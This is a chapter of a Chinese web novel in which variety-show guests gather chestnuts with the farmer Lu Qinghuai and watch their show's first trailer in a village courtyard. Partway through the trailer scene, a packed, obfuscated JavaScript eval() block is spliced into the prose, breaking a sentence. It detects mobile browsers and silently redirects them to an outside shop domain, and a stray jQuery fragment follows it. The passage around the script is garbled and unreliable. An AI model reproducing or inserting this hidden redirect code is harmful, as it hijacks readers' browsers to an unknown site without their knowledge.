方驰憋坏了。
从早上睁眼到现在，他绕着陆清槐转了八圈。
第一圈，他端着粥碗蹲到院门口，看陆清槐给豆角上架，张嘴："哥，昨天那——""昨天豆角就该上架了，再拖藤就老了。"陆清槐头也不抬。第二圈，他凑到灶台边帮着添柴，"哥，我就问一句，你搭箭那一下——""柴湿，架高些，火苗子才上得来。"第三圈，他干脆往陆清槐对面小板凳上一坐，两眼放光，嘴唇动了半天，一个字没蹦出来。
陆清槐抬眼看他。
"……算了。"方驰把脸埋进膝盖，闷声道，"苏导在窗口看我第三回了。"
早饭桌上，方驰的经纪人打来电话。他捏着手机走到院墙外，按下接听，声音压得低低的，又压不住兴奋："哥！我跟你说，我这两天过的，说出来你都不信——""哦？怎么了？""我……"方驰探头往院里看了一眼，苏晚正端着碗从廊下过，他立刻改口，"我学会种菜了！山里空气特别好，我整个人都升华了。""……方驰，你是不是被什么附体了？""没有没有，我们录节目呢，特别养生。挂了啊！"
他挂了电话，靠着墙望天。小赵扛着机器路过，镜头冲他晃了晃。方驰对着镜头，无声地做了个口型："我——好——难——"
"你难什么？"陶陶抱着碗凑过来，嘴里鼓鼓囊囊。
"你不懂。"方驰沧桑地叹气，"我心里装着一个惊天大瓜，但是我不能说。这种感觉，就像……就像鸡炖在锅里不让你揭盖。"
"眉姐炖的鸡昨晚不是揭盖了吗。"陶陶说，"你喝了三碗。"
"那不一样！"
江苓在旁边慢条斯理喝粥，闻言抬眼："他说的是山上的事吧。"
方驰猛地转头："你怎么知道？！"
"你昨天回来之后，看陆哥的眼神，"江苓放下碗，"像粉丝看偶像。藏一晚上了，全写脸上。"
桌上安静了一瞬。昨天女嘉宾们先下了山，后半程的事她们只听见个尾巴：碰上坏人了，警察来了，人带走了。江苓这会儿放下筷子，认真问："陆哥，我就问一个事——你昨天，怕不怕？"
一桌子人都看他。陶陶眼睛瞪得圆圆的。
陆清槐想了想。
"怕。"他说。
陶陶"啊"了一声，没想到他答得这么干脆。
"怕什么呀？"
"怕他们把菌子踩了。"陆清槐说，"半筐松乳菇，还没捡呢。"
桌上静了两秒，陶陶先笑喷了，方驰一边笑一边拍桌子，连江苓都没绷住。沈眉从厨房端着酱菜出来，莫名其妙："笑什么呢？"
"眉姐你不知道，"方驰笑得直不起腰，"人家英雄救山，他惦记的是菌子。"
"菌子怎么了。"陆清槐很认真，"那半筐，今天还能吃一顿。"
饭后，周建国宣布今日农活："昨儿下山我瞅见了，后坡那片板栗林，刺球都裂口了。今儿上山，打板栗！"
"板栗！"陶陶举手，"糖炒栗子那种板栗吗！"
"不然呢，你以为糖炒栗子是超市长出来的。"沈眉套上防晒袖。
一行人扛着两根长竹竿往村后走。江苓全副武装：长靴、手套、防晒帽，连领口都拿丝巾封了，走在山路上像个微服私访的。方驰回头看她："江苓，你这是去打板栗还是去登月？"
"打板栗。"江苓面无表情，"但我不相信刺球不长眼睛。"
她说得没错。到了板栗林，周建国一竿子敲上去，"噼里啪啦"一阵响，刺球像小炸弹似的往下砸，方驰躲慢了半步，一个刺球正落在他肩膀上，隔着衣服都扎得他嗷一嗓子，蹦出三尺远。
"都站远些！"陆清槐把陶陶往身后拨了拨，"刺球砸下来不长眼，树底下别站人。"
他接过竹竿，没在树下打，抱着树干，脚上一蹬——人就上去了。
快是真快。方驰只觉得眼前一花，他已经踩着树杈站到了半腰，动作轻得像没惊动一片叶子。他伸手扶了下树干，整棵树的枝杈跟着他的力道晃了晃，刺球"哗哗"往下掉，底下人抱头四散。
"我的天。"方驰仰着脖子，喃喃道，"昨天我在那棵树上蹲了半小时，腿抖得跟筛糠似的，下来是被人架下来的。他上树，跟回自己家炕头似的。"
沈眉也仰头看，忽然"咦"了一声："你们发现没有，他在树上走，树杈都不怎么晃。"
"山里人嘛。"周建国摸着下巴，"打小爬树爬的。"
"周老师，"方驰小声说，"我小时候也爬树。我爬的是树，他爬得跟平地似的，这能一样吗。"
"那你也多练练。"周建国瞪他，"昨天是谁蹲树杈上喊妈？"
"……我那是战略观察。"
树上，陆清槐打完一棵，又顺着搭过来的藤条挪到旁边一棵——那藤条边上缠着几串野猕猴桃，指头肚大小，青青硬硬的。他顺手揪了满满两兜，揣进怀里，这才下树。
脚一沾地，他动作顿了顿。
然后他扶着树干，微微弯下腰，喘了两口。
"呼——"
四周安静了一瞬。
方驰瞪着他："哥，你上树的时候，可不是这个动静。"
"……下来累。"陆清槐面不改色。
"上树不累下来累？"
"上山容易下山难。"
方驰将信将疑，绕着他转了半圈。小赵扛着机器，肩膀一抖一抖的，镜头差点歪到天上去。
捡栗子是陶陶的活。她蹲在地上，把刺球往筐里拢，拢着拢着"啊"地一声，手指头含进嘴里——刺球外头全是针，扎了。
"说了戴手套。"江苓站在三步开外，用两根树枝夹着一个刺球，小心翼翼往筐里放，那姿势像在拆手榴弹。
"戴着手套捏不住嘛……"陶陶含着手指，委屈巴巴。
"捏不住也比扎成筛子强。"江苓夹完一个，如临大敌地退后一步，"我算明白这东西为什么扎人了，它防的就是你们这种徒手的。"
陆清槐走过来，蹲下身，把刺球拢成一堆，脚底轻轻一碾，刺球裂开，三颗油亮的板栗滚出来。他捡起来塞进陶陶兜里，顺手把她扎到的那根手指看了看："没破皮。含着不管用，吹吹。"
陶陶"噗"地笑了，自己吹了两下，又低头捡去了。
回程出了个小岔子。沈眉自告奋勇带路，理由充分："昨天采菌我不就走得挺好？这路我认得了！"走了约莫半里地，她在一个岔路口站住，手一挥："这边！"
"眉姐。"陆清槐在她身后慢悠悠开口，"家在那边。"
"我知道！"沈眉面不改色，"我这是带你们绕个近路。"
"近路下沟。"周建国在后面哼了一声，"前儿那雨刚下过，沟里还软着，你是想近路近到沟底去？"
沈眉站在岔路口，风吹着她的防晒帽。她沉默三秒，转身往回走，路过陆清槐身边时压低声音："不许说出去。"
走了两步，她又把声音抬高，像是说给所有人听："我路痴又不是腿痴。我就是方向感……比较随性。"
方驰在后面憋笑憋得肩膀直抖。
回到村口，日头正偏西。
大槐树下照旧坐着几个乘凉的老人。见队伍回来，陈伯磕了磕烟袋锅，开口："后坡打板栗去了？"
"哎，陈伯。"周建国把筐放下给他看，"今年栗子长得好。"
陈伯点点头，目光落到陆清槐身上，上下打量一眼，没问山上的事，只说："昨儿夜里派出所的小同志来村里说了，后山那伙人，惯犯，所里盯了小半年了。"他顿了顿，烟袋锅往鞋底上一磕，"晚上家里别做饭，你婶子焖了南瓜，新面的馍，你过来。"
这个"你"，说的是陆清槐。
陆清槐应了："哎。"
旁边纳鞋底的李婶笑着插话："清槐啊，晌午我家那捆柴，是不是你给扛回来的？我追出去人都没影了。"
"顺路。"
"什么顺路，你家在村东头，我家在西头！"李婶不由分说，把兜里十几个鸡蛋往他怀里塞，"拿着！婶子家鸡下的，香。"
陆清槐抱着鸡蛋推辞了两下，没推过，只好抱着。陶陶在旁边看得眼热，小声跟江苓说："清槐哥在村里，像个……像个团宠。"
"人家这是人缘。"江苓说，"你以为都跟你似的，靠吃。"
人群散了，陆清槐抱着鸡蛋往回走，路过村口小卖部，脚步微微一顿。
小卖部的台阶上，坐着个穿夹克的中年人，皮鞋擦得锃亮，手里捏着瓶矿泉水。还是前几天蹲在田埂上拔草的那位。他似乎专门在等，看见陆清槐，笑着举了举手里的水瓶，算是打招呼。
陆清槐停了一步，看着他。
那人笑容不变，也不说话，就那么看着。
陆清槐没什么表情，点了下头，转身走了。走出十几步，他回头看了一眼——那人还坐在台阶上，望着他的背影，水瓶在手里慢慢转。
"清槐哥？"陶陶在前面喊他，"快走呀，苏导说今晚有大事！"
"来了。"
大事是苏晚下午从镇上带回来的。
她把车停在院门口，下车第一句话："都别走。今晚八点，官博发首支预告片——"她举起手机，"定档一块儿官宣：下周五，晚八点，黄金档。"
院子里静了一秒，然后炸了。
"定档了？！"方驰第一个蹦起来，"下周五？那不就剩——"
"八天。"苏晚说，"今晚预告先放出去，预热一周。"
"那还等什么！"周建国把袖子一撸，"看片子得有看片子的样子。小赵，投影架上！方驰，烧火！"
"烧火干嘛？"
"炒栗子。"周建国冲院里那半筐板栗努嘴，"干看有什么意思，糖炒栗子管够。"
糖是苏晚从镇上捎回来的，粗沙是河沟里淘的，一口大铁锅架在院坝的临时灶上。周建国亲自掌勺，大铲子翻得虎虎生风，沙声哗哗，栗子的甜香一阵一阵往外冒，裹着焦糖味，飘了半条村。
"炒栗子跟做人一个道理，"周建国一边翻一边教育围观的人，"急不得。火大了糊，火小了不张嘴。哎方驰你火添小点！你想把我这把老骨头炒进去？"
"哦哦哦！"
陆清槐蹲在灶口看火，手里一根柴，火头要大要小，他柴一伸一缩，火苗子就跟听招呼似的。江苓在旁边看了一会儿，忽然说："陆哥，你这火看得比方驰烧得好。"
"那是。"方驰在旁边灰头土脸地添柴，毫无尊严地附和，"我烧的火，它有自己的想法。"
周建国还特意跑了趟陈伯家，把老两口一块儿拽了过来——南瓜馍延期，糖炒栗子优先。陈伯被安排在长桌主位旁边，周建国亲自作陪。大黄蹲在桌底，尾巴慢悠悠扫着地。橘座不知什么时候跳上了墙头，居高临下睨着满院子人。
八点整，苏晚按下发布键。
投影仪亮起来，白光投在院坝拉起来的白布上。
片头是航拍：晨雾里的山村层层叠叠，一条河弯弯曲曲，镜头压低，掠过金黄的稻田，落进院子——蘑菇屋的烟囱正冒烟。
"嚯。"陈伯坐直了点，"这拍的是咱村？"
镜头一转，嘉宾们进村。周建国蹲在灶前烧火，对着镜头显摆："看见没，这叫技术。"话音没落，一股烟倒灌回来，呛得他直摆手。
"这段谁拍的！"周建国本人当场抗议，"我记得当时不是这么走的！"
满院子哄笑。
接着是沈眉。沈眉蹲在自家菜畦边，小菜地整得平平整整，沟是沟垄是垄，镜头猛地推近特写——种子撒得密密麻麻，跟麻子脸似的。
"这不是我。"沈眉冷静地剥着栗子，"我没有。"
"眉姐，这真是你。"陶陶小声说。
"我说不是就不是。"
方驰的镜头最多：生火生得满脸灰，拍蒜拍得蒜飞狗跳，煎火腿肠煎成了小章鱼，劈柴差点劈着自己的脚——每段都配着他自己的哀嚎。方驰看着看着，声音都虚了："不是，我记得我录的时候挺帅的啊？怎么剪出来全是这个……苏导，我帅的那些呢？"
"你帅的那些？"苏晚翻着手机评论，头也不抬，"你先告诉我，你哪天帅过。"
江苓的镜头是另一番光景：种菜全副武装，手套冰袖遮阳帽一样不缺，撒种子往空中一抛，落到哪算哪；方驰灰头土脸时，她在旁边慢悠悠一句"还没开始你就完了"；泥地里走一步看三步，精致得像走错了片场。
"这段剪掉。"江苓捂住脸。
"剪了就没你了。"苏晚说。
"……那就留着吧。"
陶陶的部分简单纯粹：吃。蛋糕刚出锅，她蹲在电饭煲旁边守着，跟人并排一高一矮，像两只等食的小动物；第一块下了嘴，眼睛唰地亮了，腮帮子就再没停过。陶陶抱着一兜栗子，看了半天，迟疑地问："我当时……有吃这么多吗？"
满院子异口同声："有。"
最后一段，音乐慢下来。
镜头扫过菜园：豆角上架，番茄红了半畦，一个人弯腰在地里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916304|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
摘菜，直起身时，卧在他腿边打盹的橘猫被晃醒，慢吞吞爬上他的膝头。他给客人称菜，杆秤压得平平的，末了又往人袋子里塞了一把葱。大黄趴在田埂上，尾巴慢悠悠扫着土，夕阳把一人一狗一猫的影子拉得很长。
整个预告片里，他的镜头不多，加起来不到二十秒，没名字，没字幕介绍。
最后一个画面定格：他递出去一把葱，手收回来，低头笑了一下。
屏幕上浮出字幕——
《山间的日子》
下周五起，每周五晚八点
山间的日子，慢慢过。
院子里安安静静的，只有大铁锅里沙栗翻动的轻响。
"这小哥是谁啊？"陈伯忽然开口，眯着眼瞅屏幕，"拍得黑乎乎的，看不清。"
"陈伯，那就是清槐。"陶陶说。
陈伯"哦"了一声，磕开一颗栗子，慢慢嚼着，不说话了。过了好一会儿，他才哼了一句："他啊，早该上去了。"
陆清槐没说话。他看着屏幕里那个低头笑的人，看得很专注，像在看一个认识很久、又有点陌生的人。
陶陶凑过来："清槐哥，你上电视啦！高兴吗？"
他想了想。
"屏幕里那个人，"他说，"比我白。"
满院子先是一静，随即笑翻了天。周建国笑得铲子都拿不稳，方驰趴在桌上捶桌子，沈眉笑得直咳嗽，连江苓都笑出了声。苏晚本来端着导演的架子，听到这一句，绷了三秒，没绷住，转身扶着车门笑了半天。
"调色！"小赵笑得直摆手，"那是后期调色！哥，给你调白了还不好吗！"
"好。"陆清槐点点头，很认真地说，"就是不太像。"
笑过了，苏晚的手机开始震个不停。
她低头划了两下，眉毛越抬越高。
"小赵，念。"她把手机递过去。
小赵清了清嗓子，念评论——
"这综艺什么神仙配置？周建国加沈眉加方驰？？这年头还能把这几位凑一块？"
"那个种菜的小哥是谁！！！镜头扫到他三秒，我倒回去看了五遍！有没有人知道他名字！"
"卖菜用杆秤就算了，末了还多塞一把葱，他好实在我哭死，现在菜市场哪儿还有这种人"
"你们注意到没有，橘猫卧他腿上打呼噜他动都不敢动，那大黄狗看他的眼神跟看亲爹似的，这村里的猫狗是不是都归他管？"
"方驰又在挨揍哈哈哈哈，他是不是签了什么必须出丑的合同"
"沈眉那块样板田特写推近全是密苗，她还蹲旁边特骄傲，我笑到邻居来敲门"
"救命，这慢综质感，每一帧都能当壁纸。电子榨菜有盼头了，下周五谁不看谁后悔"
"周老师烧火显摆技术结果下一秒被烟呛到那段，我循环了八遍，笑到缺氧"
"只有我一个人觉得那个种菜小哥有点东西吗？他站在菜地里那个气场，不像嘉宾，像……像那块地的主人。"
念到最后一条，方驰"啪"地拍桌："看见没！我就说！有眼光！"
"有眼光的网友多了。"苏晚把手机收回来，指尖在屏幕上划着，语速快了点，"上线十七分钟，转评赞破六万，播放量破两百万。"
她顿了顿，压着点声音里的笑意："台里刚来了电话，问我们第二期预告的素材。"
"有啊！"方驰脱口而出，话一出口，自己先僵住了。
满院子的人都想到了同一段素材。
山上。弩箭。三张网五只夹。迎着箭踏出去的半步。
苏晚没接话。她低头看着手机，评论还在滚，滚着滚着，冒出几条新的——
"等等，我老家就那镇的，听说录节目那两天，后山抓了一伙偷猎的？真的假的？"
"真的假的？综艺还管抓坏人？"
"有没有知情人来说说！我刷着帖子说警察都去了！"
路透到底漏出去了一点——所里来人、村里看见的、镇上打听的，封口令封得住节目组，封不住一镇子的嘴。
方驰屏住呼吸，看苏晚。
苏晚盯着那几条评论看了几秒，没删，也没解释。她打开官博账号，回复了四个字：
"正片见。"
发完，她把手机揣回兜里，抬头看向满院子的人："山上那段，播不播、怎么播，我跟台里和所里商量。普法那段，所里来了消息，想要——剪个公益短片，台里官号和派出所官号一块儿转。免费给，署名林业派出所。"
"这好啊！"周建国一拍大腿，"正能量！"
"剩下的，"苏晚扫了一圈，目光在陆清槐身上停了一瞬，"等我消息。"
陆清槐没什么反应，正低头剥栗子。他剥得快，指尖一转，壳就整整齐齐裂开，栗仁完整地蹦出来。剥好的栗仁在桌上堆成小小的一堆，他一个没吃，全推到桌子中间。
"吃。"他说，"凉了不甜。"
陶陶啊呜一口一个，含混不清地问："清槐哥你怎么不吃？"
"我剥着玩。"
夜渐渐深了，白布上的预告片放到了第三遍，没人喊停。陈伯嚼着栗子，靠在椅背上打了个盹；大黄在桌下打起了呼噜；江苓嘴上说不看，手机屏幕却一直亮着，划到一条"江苓怼方驰那段我能看一百遍"，嘴角翘起来，又赶紧压下去。
方驰凑到陆清槐旁边坐下，压低声音："哥。"
"嗯。"
"下周五，"他望着白布上那个菜园里的背影，眼睛亮亮的，"你要火了。"
陆清槐往灶膛里添了根柴。火苗"腾"地起来，映得他脸上暖融融的。
"火大了，"他说，"栗子该糊了。"
夜里散场，陆清槐送陈伯回去。老人背着手走在前头，到了家门口，忽然回头："今儿屏幕上，那山也拍进去了。"
"嗯。"
"山好。"陈伯说，"拍出来也好。"
他推门进去，又撂下一句："明儿让你婶子蒸南瓜馍，你过来拿。"
陆清槐应了，往回走。
院坝那边灯还亮着，笑声一阵一阵飘过来。他没急着回去，在院门口的石阶上坐下，抬头看了看天。
月亮很好，山的轮廓黑沉沉地伏着。最深处那个方向，安静得像什么都没有。
他坐了一会儿，收回目光，起身回院。
经过筐边，他把今天摘的野猕猴桃从兜里掏出来，一颗颗码进小筐，盖上一把稻草。硬邦邦的，得捂几天。
等捂软了，正好赶得上周五。